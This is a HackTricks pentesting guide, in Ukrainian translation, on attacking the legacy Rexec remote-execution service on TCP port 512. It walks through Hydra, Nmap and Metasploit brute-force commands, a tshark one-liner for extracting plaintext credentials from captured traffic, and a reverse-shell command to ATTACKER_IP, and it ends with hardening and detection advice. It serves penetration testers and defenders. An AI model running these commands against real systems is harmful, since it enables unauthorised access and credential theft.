hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
Rexec (віддалений **exec**) є одним з оригінальних сервісів Berkeley *r*-сервісів (разом з `rlogin`, `rsh`, …). Він надає можливість **віддаленого виконання команд**, **автентифіковану лише за допомогою відкритого імені користувача та пароля**. Протокол був визначений на початку 1980-х років (див. RFC 1060) і в даний час вважається **незахищеним за дизайном**. Тим не менш, він все ще увімкнений за замовчуванням у деякому застарілому UNIX / мережевому обладнанні і іноді з'являється під час внутрішніх pentest.
**Порт за замовчуванням:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Увесь трафік включаючи облікові дані передається **некодованим**. Будь-хто, хто має можливість перехопити мережу, може відновити ім'я користувача, пароль та команду.
### Швидкий огляд протоколу
1. Клієнт підключається до TCP 512.
2. Клієнт надсилає три **NUL-терміновані** рядки:
* номер порту (в ASCII), на якому він бажає отримувати stdout/stderr (часто `0`),
* **ім'я користувача**,
* **пароль**.
3. Надсилається фінальний NUL-термінований рядок з **командою** для виконання.
4. Сервер відповідає єдиним 8-бітним байтом статусу (0 = успіх, `1` = невдача), за яким слідує вихід команди.
Це означає, що ви можете відтворити обмін, використовуючи лише `echo -e` та `nc`:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Якщо облікові дані дійсні, ви отримаєте вихід `id` безпосередньо на тому ж з'єднанні.
### Ручне використання з клієнтом
Багато дистрибутивів Linux все ще постачають застарілий клієнт у пакеті **inetutils-rexec** / **rsh-client**:
```bash
rexec -l user -p password <target> "uname -a"
```
Якщо `-p` пропущено, клієнт запитає пароль інтерактивно (видимий в мережі у відкритому тексті!).
---
## Перерахунок та Брутфорс
### [**Брутфорс**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
`rexec-brute` NSE використовує протокол, описаний вище, щоб дуже швидко спробувати облікові дані.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` має спеціалізований **rexec** модуль і залишається найшвидшим офлайн брутфорсером. `medusa` (`-M REXEC`) та `ncrack` (`rexec` модуль) можуть використовуватися так само.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Модуль створить оболонку при успіху та зберігатиме облікові дані в базі даних.
---
## Перехоплення облікових даних
Оскільки все передається у відкритому вигляді, **перехоплення мережі безцінне**. З копією трафіку ви можете витягти облікові дані, не торкаючись цілі:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark увімкніть *Decode As …​* TCP 512 → REXEC, щоб переглянути красиво розпарсені поля.)
---
## Поради після експлуатації
* Команди виконуються з привілеями наданого користувача. Якщо `/etc/pam.d/rexec` неправильно налаштований (наприклад, `pam_rootok`), іноді можливі root shell.
* Rexec ігнорує оболонку користувача і виконує команду через `/bin/sh -c <cmd>`. Тому ви можете використовувати типові трюки з оболонкою (`;`, ``$( )``, зворотні лапки) для з'єднання кількох команд або створення зворотних shell:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Паролі часто зберігаються в **~/.netrc** на інших системах; якщо ви зламаєте один хост, ви можете повторно використовувати їх для бічного переміщення.
---
## Укріплення / Виявлення
* **Не піддавайте rexec**; замініть його на SSH. Практично всі сучасні *inetd* супервізори за замовчуванням коментують цю службу.
* Якщо ви повинні його зберегти, обмежте доступ за допомогою TCP обгорток (`/etc/hosts.allow`) або правил брандмауера та забезпечте надійні паролі для кожного облікового запису.
* Моніторте трафік на :512 та запуски процесу `rexecd`. Один захоплений пакет достатній для виявлення компрометації.
* Вимкніть `rexec`, `rlogin`, `rsh` разом вони ділять більшість одного й того ж коду та вразливостей.
---
## Посилання
* Документація Nmap NSE `rexec-brute` [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Модуль Rapid7 Metasploit `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}